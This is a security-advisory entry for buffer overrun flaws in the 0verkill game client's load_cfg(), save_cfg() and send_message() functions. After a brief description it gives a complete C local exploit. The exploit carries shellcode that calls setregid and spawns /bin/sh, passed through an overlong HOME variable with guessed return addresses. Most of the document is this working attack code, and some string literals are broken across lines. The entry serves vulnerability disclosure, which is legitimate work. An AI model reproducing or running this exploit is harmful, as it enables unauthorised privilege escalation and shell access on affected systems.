source: http://www.securityfocus.com/bid/9550/info

The 0verkill game client has been reported prone to multiple instances of exploitable buffer overrun vulnerabilities. The functions that have been reported to be affected are load_cfg(), save_cfg() and send_message(). It has been reported that due to a lack of sufficient boundary checks performed on user supplied data, an attacker may exploit the issues to execute arbitrary instructions in the security context of the Overkill game client. 

/*
 * Simple local exploit for 0verkill by pi3 (pi3ki31ny)
 * Greetz: [greetz on my web] && other my friends (you know who you are)
 *
 *         ...::: -=[ www.pi3.int.pl ]=- :::...
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <getopt.h>

#define PATH "./0verkill"
#define BUFS 300

/*    ...::: -=[ www.pi3.int.pl ]=- :::...    */

char shellcode[] = "\x31\xdb\x31\xc0\x31\xd2\xb2\x2d\x6a\x0a\x68
\x3a"
                   "\x2e\x2e\x2e\x68\x2d\x20\x3a\x3a\x68\x6c\x20
\x5d"
                   "\x3d\x68\x6e\x74\x2e\x70\x68\x69\x33\x2e\x69
\x68"
                   "\x77\x77\x2e\x70\x68\x3d\x5b\x20\x77\x68
\x3a\x3a"
                   "\x20\x2d\x68\x2e\x2e\x2e\x3a\x89\xe1\xb0\x04
\xcd"
                   "\x80"

/*    setregid (20,20)    */

                   "\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0
\x47"
                   "\xcd\x80"

/*    exec /bin/sh    */

                   "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62
\x69"
                   "\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0
\x0b\xcd"
                   "\x80"

/*    exit(0)    */

                   "\x31\xdb\x89\xd8\xb0\x01\xcd\x80";

long ret_ad(char *a1, char *a2) {

   return (0xbffffffa-strlen(a1)-strlen(a2));
}

int ussage(char *arg) {

   printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]
=- :::...\n");
   printf("\n\tUssage:\n\t[+] %s [options]\n
            -? <this help screen>
            -o <offset>
            -p PATH\n\n",arg);
   exit(-1);
}

int main(int argc, char *argv[]) {

   long ret,*buf_addr;
   char *buf,*path=PATH;
   int i,opt,offset=0;
   FILE *fp;

   while((opt = getopt(argc,argv,"p:o:?")) != -1) {
         switch(opt) {

          case 'o':

            offset=atoi(optarg);
            break;

          case 'p':

            path=optarg;
            break;

          case '?':
          default:

            ussage(argv[0]);
            break;
         }
   }

   if ( (fp=fopen(path,"r"))==NULL) {
      printf("\n*\tI can\'t open path to victim! - %s\t*\n\n",path);
      ussage(argv[0]);
   } fclose(fp);

   if (!(buf=(char*)malloc(BUFS))) {
      printf("\nI can\'t locate memory! - buf\n");
      exit(-1);
   }

   printf("\n\t...::: -=[ Simple exploit for 0verkill (by pi3) ]=- :::...\n");
   printf("\n\t[+] Bulding buffors!\n");

   ret=ret_ad(shellcode,path);
   ret+=offset;

   printf("\t[+] Using adres 0x%x\n",ret);

   buf_addr=(long*)buf;

   for(i=0;i<BUFS;i+=4) {
    *(buf_addr) = ret; buf_addr++;
   }
   memcpy(buf, shellcode, strlen(shellcode));

   printf("\nExecuting the vuln program - %s\n\n",path);

   setenv("HOME", buf, 1);
   execl(path,path, 0);
   return 0;
}

